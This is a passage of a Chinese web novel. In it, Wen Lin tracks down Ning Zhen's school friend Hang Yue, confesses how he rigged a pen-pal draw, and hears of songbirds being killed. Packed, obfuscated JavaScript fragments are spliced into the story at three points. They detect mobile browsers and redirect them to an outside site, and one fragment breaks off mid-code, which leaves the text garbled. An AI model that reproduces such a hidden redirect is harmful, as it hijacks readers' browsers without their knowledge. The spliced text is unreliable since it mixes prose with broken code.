“没准她早就厌倦了。”她指的是这种凝视。 “真的么?我还以为蓁蓁单纯不喜欢抛头露面而已。” “这么说也对……” “那阵刚开学就搞体测跑八百,我们一组,她其实跑得超快的,要认真的话谁也追不上。” “但我们班成绩最好的……哎,忘了,反正运动会跑八百的不是蓁蓁。” “不想报项目所以故意跑慢了?” “……其实因为我啦,”齐刘海女士不好意思地摸了摸头发,“我拜托她体测的时候带带我。” “诶,这样啊。” “好可惜。” “可惜什么?” “可惜时间太短了,来不及做朋友……” 高低错落的对白快速流淌。 他一直静静听着。言语织成她的十七岁,少年时无法触及的一面在回忆里逐渐鲜活。 时钟的指针移向九点,窗外传来稀疏鸟鸣。 男同学被晾到一边,只有站着尴尬的份儿,终于等到机会张嘴又让宁蓁“弟弟”截断。 “谢谢你们照顾我姐。”温霖笑得真诚,随即垂眸,“不过我想打听一个人,在其他班,当初和她关系很好的那个女生。” 她们陷入思考,“是杭悦吧”“我觉得是杭悦”“九班,脸圆圆的”。 他捕捉到关键信息,试着更进一步:“有她的联系方式么?” “那倒没有。” “我们和理科班不太熟……” “没事,谢啦。” 再待下去恐怕会引起怀疑。温霖走得干脆,不忘在转身前朝她们挥手。 下个目标是高三九班。 教室外变得拥挤,穿常服的校友中不时夹杂着两三抹深沉的蓝,看来学校留了些高二学生负责接待。 走廊文化墙贴了特长生的素描和书法作品,左侧写着板报,字体斑斓绚丽。“夏日生活请注意”,“北回归线对农业的影响”,布局相当简陋,大概属于各班轮流敷衍的任务。他不清楚这些高三琐事,甚至没参加过誓师大会和成人礼。因为失去师姐的校园平庸至极,到了春天,他出席的次数也一天天减少。 转角处,三个女高中生聚成团叽叽喳喳,爆发出清脆的笑声。 他收敛笑容,往那儿瞥了一眼,没想到其中一名女生瞅准时机,迎着他视线大步流星走来。 “欢迎来北城二中!我帮你介绍一下?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071761|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >女生长了双红角鸮般的大眼睛,竭力仰头,却不乏傲气。 “我就是这里毕业的。”温霖迈上楼梯,以动作表示婉拒。 她丝毫不气馁,小跑着跟上去问:“哪年?” 他回了宁蓁那届。 “哇,真看不出来。”女生加快脚步与他并肩,“认识一下,我叫方善善,方圆的方,善良的善。” 这女孩喜欢气势昂扬地跃过别人的边界线。他曾经有过类似的同学,但她们大相径庭。 “知道了。”温霖心想,我记不住的。 “那你的名字呢?你在哪儿上的大学,北城还是外地?”方善善穷追不舍,“我明年高考,借我参考下呗。” 太活泼就成了麻烦。 他停在二层楼道,低头看着那张陌生的脸。“还是介绍学校吧。” “好啊,”方善善展露甜美笑靥,“二中的一切我都了解,你想问什么?” “失联校友,九班杭女士的手机号码。” “那谁知道啊!”她的笑脸立刻垮台。 “所以你去忙就好,”温霖旋身离开,“不用跟着我了。” 他不可能指望一名高中生。原打算随便应付两句让她自讨没趣,结果半个楼道走过去,方善善又得意洋洋追了上来。 “我有办法!拿你的微信好友交换。” 她长得漂亮,身上是惯会持靓行凶的气质。温霖明知大概率被耍,却不介意试试。 “可以啊。” 女高中生已经做出起跑姿势:“二十分钟,保证回来,你在这儿等我!” 她不管人来人往,横冲直撞地飞奔出去。 温霖倚着墙抱臂,人群翻涌,他不确定恐慌症会不会发作,只能合了眼想象师姐的背影。不到二十分钟,方善善攥着张纸条回来了,跑得刘海黏住额头。 与出发时不同,后面有位戴眼镜的年轻男老师。 “方善善你给我站住——” 当事人充耳不闻,蹿到温霖身前眨眨眼:“我的微信,还有九班杭女士留的离校信息,要加我好友啊!” 说完,女高中生急冲冲拨开人群,直往楼下奔去。 塞进手里的纸条边缘粗糙,字写得过于潦草,能勉强辨认出一串ID和一行数字。 看样子是手机号。他推测方善善闯进办公室,从离校信息簿里翻出那届毕业生,抄下唯一的杭姓学生的号码。 亏了她能找到。 但世界变动不居,十年过去了,纸质信息无法及时更新,只能寄希望于杭悦是个怀旧的人。 温霖拿出手机,按向屏幕里最后一个数字。 “哇!不好意思,劳驾——” “说了多少遍走廊里禁止追跑打闹!” 楼道喧嚣,那对师生的动静格外引人瞩目。 女生跑不了太快,周围倒被她拨了个干净。人们嘴里哎哟哎哟地躲着,突然一个身形丰腴的女士重重摔向他左半身。 神经连着心脏狠狠拧了一下,温霖忍住肩膀的撕裂感伸手去挡。 “你还好吧。” 两天前工作时旧伤复发,左臂至今抬不过肩,他扶正无辜的陌生人,自己痛得面无表情。 “谢谢……”对方惊魂未定,捂着小腹。 插曲而已。他没再多说,右手按下通话键贴到耳边,专注于要紧的事。 拨号音一声声没有尽头。 温霖苦笑,想二中的离校信息簿本来就是摆设,当年班里小团体闹掰了,放话此生不复相见,一个个在本子上编造九位假号码,后来演变成谁写真的谁就沦为傻瓜。 受伤的手臂垂着。他想等到自动挂断,此时电话却被接通,嘈杂的嗓音穿过听筒,响在背后。 “喂,您好……” 刚才摔过来的女人茫然地举起手机。 35. 如此直白地袒露心机 没想到她就是杭悦。 温霖看向后墙的板报,内容标题是“请守护野生动物”,粉笔画风格浓重,鹿角与鸟的尖喙叫嚣着冲出黑板。 “那,你是蓁蓁的男朋友么。” 杭女士接了电话,答应和他聊聊宁蓁的事。他们移动到高二二班,教室收拾得整洁干净,黑板换作交互式白板,已经找不到当年的痕迹。 他回答:“不,我们是笔友,文学社的。” 之前解释起来麻烦,所以装作堂弟或表弟,但现在,面对师姐高中时期最好的朋友,他必须实话实说。 “那个大费周章,抽签决定的笔友?”杭悦细长的眉毛扬起,惊讶之余陷入回忆,“是你……” 他应一声,轻揉左肩试图缓解疼痛。 “这么幸运……”她喃喃道。 不知道杭悦在说谁。 温霖眉眼松弛,转向她,面色坦然地表示他当初耍了点手段。 “你怎么做到的?”她有些愕然。 诚实才能换取信任。他笑了笑:“也不算难。” …… “栗子,看没看见我的抽签箱!” “没看到,你不是拿过来了?” 周三中午十二点半,食堂正忙的时候,新社员陆陆续续进入文学社活动教室。 “我拿过来了?什么时候?”社长抓住副社的胳膊。 “没拿吗?”她疑惑地挠了挠头,“我记得去年……” 教室里响起茫然的窃窃私语,“啥事呀”“快点吧,我还没吃午饭呢”“好饿”。 温霖坐在第一排,看两人在讲台上踱步。台下窸窸窣窣,社长眉头皱着,脸色发红,似乎要被计划外的突发事件压垮。 “现在重新做签吧,随便写几个数就行了。” “那怎么配对?” “你叫号,1对5,2对14这样。” “全靠我一个人?太草率了啊。” 她焦躁地否定了临时方案。忽然,副社抬头望了望教室后黑板,灵光一现:“用扑克牌!相同数字配成一对,红桃和黑桃,方片和梅花。” “好主意,我去问问服务部卖不卖……”她攥住胸口衣领,左脚迈下讲台。 那就是温霖一直等待的瞬间。他高举左臂,手里握着她们急需的救命稻草。 “我带了。” 社长慌乱地呼出一口气,看向那个初中生的眼神宛如得救一般。 …… “这么巧?”杭悦审视着眼前的人,从头发尖到纯黑的卫衣下摆,“你在扑克牌上动了手脚。” “只有一张背面不一样,”温霖承认,“很容易分辨。” …… 事情比想象中顺利。 参与活动的新社员共24人,社长和副社率先拿掉大小王,挑出四色J、Q、K、A,再加上10和9。牌背有深紫的图案,让人眼花缭乱,中间框出个圆圈,里面飞着顺时针的小翅膀。 他标记了两张牌。洗牌前将黑桃K轻微弯折,洗好后就能轻易上手,藏进宽松的校服袖口。与之对应,54张牌中,只有红桃K的翅膀逆时针飞。从教室左前方第一个人开始依次从牌堆顶发牌,轮到这张时改为抽出牌堆底,直至游走到宁蓁的座位。 但实现计划的前提是…… “我来帮忙发牌吧。” 初二的少年用澄亮的双眸传递着关切。 “因为你们要……和大家说明规则什么的。” 他补充道,语调自然又体贴,听不出埋在深处的忐忑。 发牌动作必须掌握在自己手中,否则所有努力都将功亏一篑。 心跳声放大。等待时,他紧张地撑住视线,甚至没有眨一次眼。 “好啊,麻烦你啦。”教室一片嘈杂,社长感激地笑了。 “大家安静一下请听我说,保证不耽误更多时间——” …… 回忆历历在目。他讲到这里,却被杭悦打断。 “不可思议。” 正如眼前之人所说,给扑克牌做标记属于“微不足道的魔术手法”,但她仍然狐疑地退了两步。 “没准她们准备抽签的时候习惯先捡A出来,可是我喜欢从2到6。” 换言之,如何保证红桃和黑桃K被文学社长选中?他的叙述简直漏洞百出。 纤长睫毛坠下去。十年前,他也是这样垂着眼睛迈向宁蓁,贴心地轻捻拇指,让她抽走那张暗藏玄机的牌。她轻声道谢,捧在手心,然后撕掉一张便签纸,用蓝黑碳素笔记下花色。 他站在窗前遮住了太阳,余光流连着她的举动。那时候,宁蓁全程低头,甚至忘了看他一眼。 沉默三秒,温霖又弯起唇: “因为,我在黑板上画了东西。” …… 焦急之际,讲台正对面的后黑板猛然闯入二人眼帘。 “学期中上演伦理大戏《雷雨》” “最完美的只存在于您的想象当中” “一年三百六十日,风刀霜剑严相逼”【注1】 文学社教室由社员负责打扫,通常没人特意去擦黑板,除非活动需要。那天温霖提前溜了进去,拾起红黄粉笔在空白处肆意挥洒。 零星的字迹周围填满了四道花色,以及象征King和Queen的权杖和王冠。 直接,粗暴,大张旗鼓,几乎附在她们耳边低语。 “用扑克牌吧”。 可偏偏十分有效。 因为他预料到社长会在极度紧张的状态下奔上讲台,时间所剩无几,来不及冷静思考。 因为他了解,社长是个怎样的人—— 时间倒退一周,他不在乎文学社教室在高三楼里,趁着课间频繁往那儿跑。有天碰见一名高二女生鬼鬼祟祟从后门探头,他放下书,绕到前门,再绕向她背后,蓦地吓了她一跳。 “干嘛不进去?” 绿校服的高二学姐浑身炸毛,看见他校服上的标志才安下心。“哎呀,初中生啊。我来找维维,你们社长,她今天来了没?” 教室附近只有他们两人。 当年温霖还不到十五岁,但知道自己的脸长得不难看。想要的东西可以用笑容去换,在他身上屡试不爽。 “没有,你不去她班上找?” 他变声期过去得早,此刻故意提了点儿音调,装得纯良无害。 “不行,”兴许伪装后的初中生形象让她放下戒备,“我和她绝交了。” “……为什么?” 学姐刚张了嘴又把话吞回去:“咳,小孩子不要管这些。” 温霖不动声色扯了下嘴角。“我觉得她人很好啊,我们低年级的入社,副社介意,社长倒挺欢迎。” “哼!就是人太好了。”她嫌弃道,“我们认识十年了哦,她竟然对我和新分班的同学态度一模一样呢,你说公不公平?” 少年乖巧摇头。 他装乖装得挺成功,抑或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071762|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学姐正需要一个懵懂的低年级树洞,所以他可以明目张胆问下去。 “得了解社长的性格才能判断。”这是他的目的,用以量身打造之后的小把戏。 于是学姐打开了话匣子,埋怨社长是个多愁善感的老好人,性格软趴趴,谁都不想得罪,虽然八百米总跑最后一名,但作文时常满分。 听起来反而像夸耀。温霖问:“那她一定特别细心吧?” “当然,”她戳了戳盛放老社员信件的木盒子,“你们这文学社用的签子,她暑假就做好了。” 他回了个意味深长的“哦”。 “诶,你该不会喜欢维维?”学姐自顾自下了结论,“不行,我不允许!” “我可不敢……” 温霖默默在内心推演:社长习惯提前做准备,相应的,必须破坏计划,让她放弃原本不可控制的抽签环节,落入他制作的陷阱。 但是,要怎么做? 当年他倔强且执拗,只能想出一种最低劣的办法。 周三上午第四节课前,同学都去了音乐教室,没人发现他的消失。少年躲在高二楼下的黑杨树后,阴鸷的目光上扬,死死钉在某块暗红色窗棂。 这里是视线盲区,从二楼看,他完全没入逐渐凋零的林叶。 对不起,社长,我打算藏起你的抽签箱。 一些班级刚下了校本课,从实验教学楼跑回来,三五成群簇拥在宽阔的主干路。他手里攥了块石头,坚硬棱角嵌入皮肉,磨得掌心生疼。 对不起。而且,我要打碎玻璃。 届时破碎的空洞里将冒出一双双眼,楼下人群在混乱中定格,他会抓住时机化作影子,潜入社长的教室。 太阳慢慢升到了头顶,少年屏住呼吸。 …… “好幼稚,对吧。”温霖不改爽朗的笑,却自嘲道。 杭悦愣了几秒,问:“你真的打碎了玻璃?” “怎么可能,根本行不通啊。” 他仿佛看见过去的自己,那个阴暗的、偏执的模样,险些用冲动行为酿成大祸。 杭悦扶住座椅,听他讲述故事的结尾: “你没说错,我真的很幸运,因为那天社长她们班临时换了节体育课。” 最后迎接他的是空无一人的教室。 社长的抽签箱藏在椅子底下,格外瞩目,他抱起来拉开窗户,放在窗台边沿。她暂时想不到这个位置,等到傍晚秋风萧瑟时,浅灰的窗帘才掀起一角,露出痕迹。 体育课上活动剧烈,外加丢了东西惊慌失措,终于,社长不假思索采取了温霖的方案,让他们顺利成为长达一年多的匿名笔友。 这就是他接近宁蓁的方式。 杭悦讶异于他竟然如此直白地袒露心机,想着这样的人,她还是第一次见。 半晌,她惋惜道:“以前蓁蓁不知道,她以为和她写信的是女生。” “嗯。”执笔者看得出来,虽然他们不曾刻意透露自己的年级和性别。 “你们……”杭悦声音有点颤抖,欲言又止,“你们后来……一直有联络?” 他摇头,发现左臂彻底抬不起来了。“我们前一阵偶然遇见,在鹭山。” 鹭山,对方嗫嚅着,原来她没有离开北城。 “师姐她已经完全忘了高中发生过的事。” 温霖目光幽深,泛着难以挽回的痛楚与悔意。 “我想问问当初她为什么消失,也许,你有答案。” 36. 死者是谁 “我们是军训期间认识的。”杭悦娓娓道来。 军训基地条件奇差,煎熬的十二天被教官们磨炼得有一整个夏天那么长。她趁午休跑出去用冷水洗头,顶着湿漉漉的长发搬个小马扎,背对毒辣的太阳,把浑身晒干。 结果可想而知,傍晚她就感觉冷热交加,差点在踢正步的队列里昏倒,到了厕所忽然腹痛难耐,鲜血从身体里汩汩涌出。 经期足足提前了半个月。杭悦随便抓住一条胳膊虚弱地求救,问她带没带卫生巾。 恰好对方递来卫生用品,陪她走进医务室,亲手敲开了她们友谊的门。 高一,她们被分到不同班级,但始终保持联络。宁蓁的长相容易被误解,她有点儿无厘头,有点儿呆,在别人眼中却是一座栩栩如生的冰雕。 他们都不了解她,而杭悦是她的知己。十六岁,青春期欲熟未熟的时候,友情的唯一性在她们心里占据着沉甸甸的分量,大家执着于深度的绑定关系,无论午餐、课间还是下操后都第一时间找到彼此,她们乐在其中,却没意识到这道枷锁竟为日后的危难埋下伏笔。 秋意最浓的那天,宁蓁透露了自己身上的秘密。 “那究竟是什么啊,古乐器?一技之长?” 宁蓁缓缓承认:“是鸟哨。” 杭悦盯着她手心里捧着的小巧竹哨:“吹这个能模仿鸟叫,还能召唤小鸟?” “是呀,我的……我姥爷教我的。”她垂眸。 “感觉和吹糖人儿,抖空竹之类的一样?” “不太一样,”宁蓁说,“我自己用刀削出来的。” “哇——!”杭悦高声惊呼,她原本以为是小商品市场上能买到的新鲜玩意儿,像以前的开花树、水宝宝和泡泡胶,很快要在同学之间流行起来。 想不到这个“鸟哨”独一无二。 更想不到,蓁蓁那双纤细的手,竟然懂得用刀。 “教教我呗!”她双眼放光,左掌包裹右拳,拜她为师。 宁蓁不吝啬教给朋友。但杭悦只断断续续坚持了两个月,她控制不了舌头的位置,嘴唇也紧绷着,学不会放松,只能喷出“嘟噜噜”的气流。 “当德鲁伊好难啊。”她躺在操场草坪上抱怨。 宁蓁坐下抱着膝盖,说:“我小时候为了学这个一直挨打。” “啊?太夸张了吧。”杭悦家里主张放养教育,从小到大没被管束过,“怎么能打人啊!” 她仰头看天,马尾轻轻甩动。 “……七八岁的时候,姥姥给我报了舞蹈班,跳古典舞,我好喜欢。” 然后呢?杭悦问。 然后,她姥爷发现了。他脾气太爆,眉头总是皱的,连睡觉都抚不平。他骂宁蓁学舞蹈分了心,拿钢尺抽她的背。小女孩身上还没发育,全是骨头,尺子啪啪落下,鞭子似的响亮,她咬着嘴唇忍耐,背后绽开一朵朵殷红的血肉。 杭悦难以想象。 “如果他只打我还好,可他连姥姥都打。我和他说,算啦,我不去上舞蹈课啦。” 宁蓁话里没有丝毫怨怼,长发如鱼尾一般摆了摆。 …… 所以她放弃了舞蹈。 他们躲着人群步行,绕到高一楼后面。路上林荫似海,温霖见过她儿时的舞姿,轻盈柔软,像飘然的羽毛。 杭悦走得缓慢,没注意到他湿润的眼睛。 “我太迟钝了,快高三了才反应过来,蓁蓁从来不说她的父母。” “因为……” 他顿了顿,想起师姐聊到家境时的云淡风轻。成长的泥淖不至于让她掉眼泪,可那天,只有那天,往返于市区与鹭山的深夜,她抵在他肩膀上泪流满面。 最终温霖还是选择隐瞒她的家事。 “如果那时候她妈妈来了,”杭悦自言自语,“没准结局就不一样了。” “那时候。”他重复。 她攒眉回忆着:“……对了,那时候,蓁蓁觉得有人跟着我们,后来我偶尔也这么觉得。” 温霖缄默不语,心底幽邃的深渊掀起一丝仓皇。 ……那大概是我吧。 跟踪她并非光彩的事,即使以爱之名。早晚有一天,他得亲口向师姐坦白。 “我感觉他是个男人,”她抿了抿唇,“我不确定究竟有没有那个人,如果有的话,他应该很高大,不像学生。” 难道还有别人? 温霖蓦地看向杭悦。她脸庞像只磕碰了的白瓷盘,泛着苦涩,艰难剖出尘封已久的旧日。 …… 转眼来到高二的秋。 两人都选了文科,却又一次错过同班的机会。杭悦三天打鱼两天晒网,仍想学会吹鸟哨,她们改成了放学后练习,从学校北门出去,转角处有个小公园,古木森然,滚着层层幽绿。 傍晚时分公园清净,深处,繁枝茂叶遮过来,像丛生的荆棘。 她们两个没说话。等鸟鸣逐渐清晰,高处传来啾啾声,杭悦才抬手碰了碰宁蓁的校服袖口。 “蓁蓁,再表演一次吧!” ——如果人生可以重来,她绝不会说出这句话。 但那时,谁也无法预知未来。 宁蓁大方拿出哨子置于唇边。她送出的气流轻而缓,在竹哨的孔隙间飘着,辗转化成尖锐的三连音,一缕缕朝着远方漾开。 “啾——啾啾!” 野生小鸟高低应和着,鸣声是风吹的口哨。它们越飞越近了,拖着细细的长尾,像天空中的游鱼,身子一耸一耸,来去自如。 “过来了!”杭悦压着兴奋的嗓音,怕吓跑鸟儿们。 宁蓁没有停下,清澈的哨音仿佛在呼朋唤友。那是她们从未见过的鸟类,五六只抱着团落下,扑扑翅膀。 她用课堂上交头接耳的气声问:“这是什么鸟?” 她悄悄答:“银喉长尾山雀。” 雀形目长尾山雀科下只有两类小鸟。一种北长尾,毛茸茸的雪白团子;一种银喉长尾,脑袋顶着小黑帽,下巴颏一抹黑羽毛。 杭悦感叹:“好像露馅儿的芝麻汤圆。” “没准再过一个月它们该走了。” “去哪儿?” “往东北飞吧。” 这么可爱的小家伙,竟然能从北城飞到东北。杭悦觉得奇妙,盯着自己手心里的鸟哨。 “可是蓁蓁,你的哨子能引导小鸟的路线,能不能让它们留在这儿?” 宁蓁犹犹豫豫,婉拒了好友的奇思妙想。“我们不能干涉……” 但她缠住了蓁蓁的手:“拜托嘛,如果大家找不到食物,我会天天带小米过来,包括寒假!” “可是银喉长尾山雀应该只吃虫子……” 杭悦自己都不明白当初的执着从哪里来,为什么非要留下它们。或许校园生活枯燥压抑,需要寻个出口;或许活泛的小生命能弥补童年养丢了小猫崽的遗憾。总之,她羞于承认那只是因为“好玩儿”。 宁蓁心软,不会放着她的祈求不管。于是第二天,第三天,第七天……她们连续两周来到公园深处,召唤长尾山雀降落。杭悦带了小米和大米,但它们不吃,更愿意附和蓁蓁的哨音唱歌,唱着唱着,两只脚爪蹦跶到松软的泥土里,两个黑宝石般的眼珠不停回望。 它们给予了足够的信任。杭悦想伸手摸摸蓬松柔软的羽毛,却被蓁蓁制止。 “别碰,毕竟在野外生存,我们要保持敬畏。”她怕鸟羽携带着未知菌落。 “好吧……那我就乖乖欣赏。” 意外降临的前一天,五只小鸟还生机勃勃,在枝桠上雀跃。 次日放学,林叶之间却投下阴晦湿黏的影。 天色变了,杭悦迷茫地仰着脖子,目光匆匆卷过每根树杈。 “啾啾!” “啾啾!” 偌大的公园静得可怕,没了鸟鸣,甚至灰喜鹊的叫声都遁入沉寂,仅剩下宁蓁的哨音孤独回荡。 “奇怪……” 她喃喃道,往林子里走几步,弯腰拢了眼前的草丛,拨出一双翅膀。 “原来你们在这啊!” 杭悦笑了。 柔草褪了绿色,泛着黄,分外笨重。她用力搬开,忽然嗅到一股混着血腥的胶水味儿,那么黏,像鱼的内脏,像腐肉和未清洗的皮肤。气味泡在蒸腾的湿气里滚开了,蹿进鼻腔流到喉咙,刺破臌胀的肺。 她刚咧开的嘴角硬生生砸进了脸颊。 那里有双翅膀。 但,只有一双翅膀。 然后,是短钝的喙。 枯枝似的腿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温霖拿出手机:“给你她的联系方式。” 如今杭悦却淡淡摇头,说不用了。 “你既然是二中的学生,应该听过‘菠萝风暴’在礼堂唱的那首歌吧。” 他隐约记得。 “《一时的朋友》,”她陷入青葱岁月的美好回忆,“并非所有朋友都能陪伴彼此走下去,假如我们保持联络,也早晚有分道扬镳的一天。” “为什么你这么确定?”他问。 杭悦收起眼泪,胸口蓄满的千言万语化作笑容,喜悦,却不乏苦楚。 “因为,我怀孕了。” 她捂住肚子。 “已经是第二个宝宝了。” 一小时前救下的是一名孕妇——温霖突然庆幸他毅然伸出了手。 “……恭喜。”他祝贺道。 这次,杭悦不提“谢”字。 “你知道吗,蓁蓁是我的天才女友,可我却背叛了她。” 十六岁的少女们约好一起努力实现梦想。相信她会在陌路上勇往直前,而我已经离开了轨道。我对她只剩下愧意,羞愧的,内疚的,那种感觉让我们渐行渐远。 再也回不去了。 温霖多少摸到她的潜台词。 他没有资格评判另一种生活,更没有余力。抬起眼,过客形形色色聚集,黑压压挤着心脏。人,到处是人,是他的恐慌源。今天,从迈入校门起,他一直在勉强自己。 同样暌违多年,那份愧疚,温霖与杭悦感同身受。 十五岁的他看得还不够远。有阵子他不得不集训,缺了两周课,那之前他费尽心思寄了封特别的信,返校后却再也没等到回音。 “啊,大食蚁兽。”走到校门口,杭悦瞥见传达室里的学生快递。 “真可爱。” 他撑起一个浅笑,咽下后半句。 那是他九年前背过来的,因为师姐在信里提到她做的梦,梦里抱着粉色大食蚁兽。 当年温霖是只破破烂烂的小刺猬,只会在暗无天日的卧室里摆弄手柄。一次失败就下次,再下一次,渐渐地,他觉得自己不用看就知道怎么闪避,不用想就知道怎么攻击,他觉得自己离真正的火焰越来越近,几乎触手可及。 终于,毫无征兆。 她消失了。 37. 文案回收 时间过去七天,却好像有七年那么久。 创口敞开了,宁蓁被迫直视里面血淋淋交织的脉络,亲手一根根挑明。 宴会结束的夜晚,她肖想过他的身体。但那只是欲望,不是真相。后来温霖唤她为“师姐”,恍惚之间,她穿梭于北城与梦中坍塌的山谷,眼泪溃散成河,全都没入他衣襟。 即便那一刻宁蓁仍在想:我到底能不能相信他。 但群山茫茫,总有能为之付出信任的事物。 “嗷呜!” 沐沐的绳子牵在手里。小狗今天过分活泼,天生自来卷的狗毛飞到衣裤上,可她心甘情愿。 宁蓁俯身摸摸它脑袋:“走吧沐沐。” 温霖不知道去哪儿了,匆匆交过牵引绳就离开。天气晴朗,他拜托她带沐沐溜达几圈,不过实际上是由着它撒欢儿,追追阳光,踩踩影子,钻进野菜丛里嗅闻大自然的芳香。 绳子牵扯的力道一下下将她拉向现实。山间公路盘桓,宁蓁又想起初遇温霖的那天,对她来说,落日深山偶遇陌生男人,无论怎么审视都充满危险——但如果他旁边站着条毛茸茸的狗,那就完全不一样了。 “慢点!” 沐沐拉着人闯入树林,清新的青草味儿一阵阵漫上来,宁蓁松了肩膀,闭上眼深深呼吸。 对了,那晚甚至并非初遇,而是重逢。 草木泼出了充足的氧,末尾,鼻尖却捉到一抹尼古丁与焦油混合的浑浊。 错觉让她看见沐沐仰头动了动耳朵。 ——“我劝你最好离她远点儿。” 谁? 她攒眉,把绳子挽了两绕,藏向树后。 目光往空阔的地方甩。云翳底下有两道人影,其中一个左手指缝闪着时隐时现的火。 ——“不好意思,你在和我说话?” 是主人的声音。沐沐忽然摇起尾巴要冲出去,鼻头一吸一吸地翕动,挤出尖锐的嘤咛。 再等等。她手下一紧,低身,食指置于双唇中间。她想听听他们的谈话,如果没记错,当初他们在法堂后面躲清静,温霖就是这么做的。 “噤声”。 果然,沐沐安静下来。 “和我装傻?”莫昭低头点燃了烟,“猜猜封杀一个十几万粉的小网红要花多久,十分钟,还是两分钟?” 赤裸裸的威胁。 前任男友有双精明的眼,掩在镜片下混沌不清。宁蓁愣了一瞬,不打算探究那道表情,转而虚着嗓子问沐沐: 他的工作是…… 沐沐自然听不懂。 “你不会以为,”他讽刺道,“谁都有义务陪你玩霸总游戏吧。” 温霖比平时冷得多,宁蓁忽而怀疑这种阴郁的性格才是他本来面目。 陌生,却不出意料,好像她早就见过一样。 为了想起点儿线索,她盘算起年龄差。他比自己小三岁,比莫昭小九岁,莫昭上大学时,他刚是个小学生。 宁蓁后知后觉,这么看来她和莫昭也差了太多,他们交往时,他完全占据着上位者的角色。 视线回到空旷草地中央。 香烟猩红,男人吸了一口,重重吐出来,她仿佛听见他吞吐烟雾的嘶嘶声。 “舔狗。”莫昭不屑地嗤笑一声。 宁蓁不喜欢这个词。 白雾缭绕,对面人敛眸,如同一团幽深的影子。 “是。” 温霖唇角微弯。 爱无能者才用“舔狗”两个字嘲讽别人。他觉得挺好笑,而且不介意再添把火: “那又怎样。” 如果他们破镜重圆,他有把握让镜子再碎一次。 五秒,抑或十秒过去。 “看看你周围,”莫昭朝他扬了扬下巴,“那排树,这片草坪,马上连整座山都是我的,你拿什么和我争?” 火光星星点点飘落。男人手指夹着烟,从容不迫磕两下,掸掉烟灰。 “原来你打算和山过一辈子。” 温霖口中称他“有情致”,眼里藏不住的锋芒却划破烟雾。“那我建议你也睁眼看看周围。” 二人脚边柔草倾倒,不远处是茂盛连天的树,夏天还远,枝叶冒着绿气,像蒸开的云,只为了阳光有限,留下一丝羞避的缝隙。 现在宁蓁学会辨认树叶的形状。有棵树坠了小花苞,乳白色,她之前拍进app,又在网上搜寻过资料。 那是珙桐,重点保护树种。 莫昭手里的火星燃着。林间风起,白烟散了,但他控制不了烟灰往哪里落。 春日山间,尼古丁和焦油是危险的气味。温霖以沉默质问,一根烟有没有可能引发山火。 “把烟掐了。” 他给的不是提醒,而是警告。 莫昭在商海沉浮久了,自然懂得权衡利弊。烟蒂掉下去,被皮鞋踩着左右碾转,火熄了,闷成一缕白烟,旁边一同碾碎了几只蚂蚁残尸。 他垂首,眼里流出精光。 那副姿态让宁蓁想起从前。有次莫昭请她看了部包场电影,讲述主角二人用超轻型飞行器引导鸟类迁徙路线,结局后他说,弱肉强食,人定胜天。 “我从来说到做到,温霖,”他冷不丁挑衅道,“你得为今天付出代价。” 手心被绳子牵拽,沐沐似乎嗅出空气中的刺激气味,尾巴低低夹着,朝他们呲起尖利的牙。 气氛剑拔弩张。 她正在想莫昭怎么知道他的名字。同一时刻,她看到那个男人攥紧了拳头,手背青筋暴起,如虬结的树根。 显然温霖比她看得更清楚。 “你调查过我。” 莫昭不置可否。 “那你应该知道舞蹈生最习惯什么。” 风声低啸,吹得宁蓁摇曳两下。 思绪猛然回到破旧的童年。姥姥每个周末送她去商业街,东边有栋灰色矮楼,墙面玻璃泛着幽蓝,夏季时映出灼烈的太阳。此后她频繁梦见小时候,走到舞蹈教室底下,晕乎乎仰头盯着楼上的蓝玻璃。 想跳舞,这是她朦胧生发的第一个信念,但梦中的老街已经空无一人。 “舞蹈生……” 她重新审视起他修长的身影。 答案是疼痛。 常年练舞的人难免受伤,也最会忍痛。 温霖视线淡然锁住莫昭膨起的拳,问他想打架么。 树后,宁蓁右手一抖,松开牵引绳,沐沐没了束缚,立刻飞奔出去冲向主人,嘹亮的吠叫响彻鹭山,树叶都为之震颤。 他俯身去迎接它,在那之前,她感觉温霖拨开了风,深深望了过来。 * 之前漫长的七天内,宁蓁并非无事可做。期间她回了趟家,翻箱倒柜,想找出与文学社笔友往来的信件。 银喉长尾山雀因她降落,因她被猎杀。少女心中刻下难以磨灭的阴影,那阵子她过得浑浑噩噩,一靠近学校就呕吐,于是发疯似的摔了书包,扔了所有让她恶心的东西,以为这样能慢慢好起来。 最后连珍贵的信,连朋友,她都弄丢了。 深夜,宁蓁搬开储物箱,找出几本高三课本和教辅书。透明书皮伤痕累累,纸张泛黄,她坐在地板上挨个翻遍,一页都没落下,期望夹缝里掉出一丁点儿碎片。 真的…… 真的是他么? 那个曾经写了十数封来信,字迹清秀,与她坦诚相见的人…… 啪嗒—— 一沓蒙尘的纸突然飞出来。 信封方方正正,外面写有他们专属的标记,红桃与黑桃K。信件封口处以胶棒粘合,早已风干,剩下一滩皱巴巴的粗糙。 宁蓁双眼惊喜地亮了。 指腹掀开封盖,她伸手进去,却什么都没摸出来。 里面,竟是空的? “怎么这样……” 